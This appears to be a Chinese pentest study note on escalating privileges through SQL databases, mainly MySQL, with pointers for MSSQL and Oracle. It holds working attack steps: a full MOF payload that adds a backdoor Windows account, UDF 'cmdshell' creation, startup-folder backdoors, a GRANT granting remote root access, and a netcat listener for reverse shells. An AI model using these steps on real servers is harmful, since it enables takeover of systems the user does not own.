首页 > 数据库 >7.22-27MY&MS&ORA等SQL数据库提权

7.22-27MY&MS&ORA等SQL数据库提权

时间:2024-07-27 20:40:20浏览次数:7  
标签:plugin 数据库 27MY 7.22 提权 mysql 目录 mof

7.22-27MY&MS&ORA等SQL数据库提权

思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;

前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;

Mysql提权

思路: 服务探针-信息收集-提权利用-获取权限;

1、读取默认数据库配置文件;(了解其命名和查找规则)
sql data inc config conn database common include

2、读取数据库存储和备份文件(了解数据库存储格式及对应内容)

@@basedir/data/数据库名.表名.myd

思路:找到mysq'l安装路径下的,data文件夹中的user.MYD文件;

密码存储在mysql.user目录;

直接解密root密码,为root

3、利用脚本暴力破解(是否支持外联及如何开启外联

默认root不直接外联;
思路: 将爆破脚本传输上网站服务器;

4、远程本地暴力破解,服务器本地暴力破解

UDF提权(原理mysql调用系统命令函数)

首先:UDF(Userdefined function)是用户自定义函数

1.mysql<5.1,导出目录c:/windows/system32

2.mysql=>5.1,导出数据库安装目录/lib/plugin;存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

思路: 判断数据库版本,执行sql语句select version();,之后查看数据库安装目录,执行select @@basedir;

手工创建plugin目录或利用NTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION'

创建udf参数命令create function cmdshell returns string soname 'moonnudf.dll'

MOF提权(基于mysql特性)

原理: 利用mof是windows系统一个文件(在 f),托管对象格式;

1、将mof上传至任意可读可写目录下;

利用代码如下

1 #pragma namespace("\\\\.\\root\\subscription") 
2 instance of __EventFilter as $EventFilter 
3 { 
4 EventNamespace = "Root\\Cimv2"; 
5 Name = "filtP2"; 
6 Query = "Select * From __InstanceModificationEvent " 
7 "Where TargetInstance Isa \"Win32_LocalTime\" " 
8 "And TargetInstance.Second = 5"; 
9 QueryLanguage = "WQL"; 
10 }; 
11 instance of ActiveScriptEventConsumer as $Consumer 
12 { 
13 Name = "consPCSV2"; 
14 ScriptingEngine = "JScript"; 
15 ScriptText = 
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";  # 执行命令需修改
17 }; 
18 instance of __FilterToConsumerBinding 
19 { 
20 Consumer = $Consumer; 
21 Filter = $EventFilter; 
22 };

2.用sql语句将文件导入;

slelct load_file ('上传目录')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

3、等待命令执行成功;

写入启动项(配合操作系统自启动)

win10启动项C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

导出自定义可执行文件到启动目录配置重启执行;
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行;

启动项目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup写入后门;
此时若要利用msf进行攻击写入后门提权则必须先开启数据库外联;

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password为账密

反弹shell(基于反弹特性命令)

思路:将数据库权限反弹至服务器中,监听服务器端口即可;
nc -l -p 5577

MSSQL提权,转至

[[2023.7.2-3-4Mssql xp_cmdshell提权]]

上述笔记包含 1.xp_cmdshell提权 和 2.sp_oacreate提权

3、沙盒提权

三、Oracle提权

jsp网站后门不需要提权,自带system

提权工具对应三种模式

1、普通用户

2、DBA用户

3、注入模式

标签:plugin,数据库,27MY,7.22,提权,mysql,目录,mof
From: https://www.cnblogs.com/lusang/p/18327439

相关文章

  • 【待做】【攻防技术系列+权限提升】Windows提权
    Windows提权思维导图Windows提权工具vulmapvulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。windows-exp-suggester这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只......
  • 2024.7.22至2024.7.27周总结
    本周学习任务清单数据结构:树链剖分。解题思路:CDQ分治,整体二分。数论:费马小定理,素数筛法,欧拉定理,逆元,拓展欧几里得算法,中国剩余定理,Miller_Rabin素数检测,PollarRho分解质因数算法。多项式和生成函数:拉格朗日插值法,普通生成函数。线性代数:向量,线性组合,线性变换,线性,矩阵,行列......
  • Dynamsoft Barcode Reader SDK C++ 10.4.10 Crack-24.7.22
    DynamsoftBarcodeReaderDocumentationforC++EditionDynamsoftBarcodeReader(DBR)SDKC++EditionisabarcodereadingtooldesignedspecificallyforC++developers.LeveragingtheefficiencyandflexibilityoftheC++language,DBRC++Editionprovid......
  • 「模拟赛」暑期集训CSP提高模拟5(7.22)
    \(140pts,Rank24\)题目列表:简单的序列简单的字符串简单的困难的图论简单的序列\(100pts\)题意:gtm1514不喜欢序列。但是一天他拿到了一个序列。这个序列非常杂乱,于是gtm1514想要整理一下这个序列。但是由于他非常的菜,他只会进行一个操作:选择一个\(ai\),把它变......
  • 2024.7.22模拟赛5
    模拟赛咕了两天才发现少了一天的题解。T1MakeItIncreasing水。code#include<bits/stdc++.h>usingnamespacestd;constintN=40;#defineLLlonglongintt,n;LLa[N];intmain(){// freopen("in.in","r",stdin);// freopen("out.out",&......
  • 2024.7.22每日笔记,有错望指出
    //5、求125之内自然数中偶数之和。#include<stdio.h>intmain(){inti=0;intsum=0;for(i=0;i<=125;i++){if(i%2==0){sum=sum+i;printf("%d\n",sum);}}return0;}//7、编程计算1......
  • 7.22 第一次听客户需求
    1.背景        身为大一学生,很荣幸可以参与果园管理的项目制作。由于我有做产品经理的打算,老师也有意培养,中午11点开始了腾讯会议的项目需求会。         M总,即为我们的客户,为我们展示需求。M总是一位值得敬佩的新型农民,虽然没上大学,但通过自学VB,给所在地的......
  • 7.22 ~ 7.28
    7.22上午听学长讲课。不过这次讲的还是挺快的。可能因为都是数学?然后打了打前几天的板子,改完了前几天的题,赛后总结就先咕了下午依然是模拟赛。T1T2都是签到题,但题面出了一点小问题:T1没有规定\(a_i\)的正负;T2没有说明“字母串”是否只含小写字母。好像有人因为这个......
  • 7.22鲜花
    一周了……状态一直很不好。今天模拟赛爆了个零,题死活补不进去,遂来写闲话。很困,头也很疼,写的比起闲话更像瞎话或者sb话,但我总得给自己找点事干。这两天看了很多noi2024游记,也就是很多很多人的退役记。有人打金有人拿铜,和我没任何关系。但无论如何,有时候还是会替别人感到落寞,心口......
  • 7.22笔记
    规定引脚TX发送RX接收SLC时钟  SDA数据SCLK时钟  MOSI主机输出数据  MISO主机输入数据  CS片选(用于指定通信对象)CAN_HCAN_L 差分数据脚(用两个引脚表示一个差分数据)DPDM差分数据脚全双工(FullDuplex)通信允许数据同时在两个方向上传输,即在一个通信链......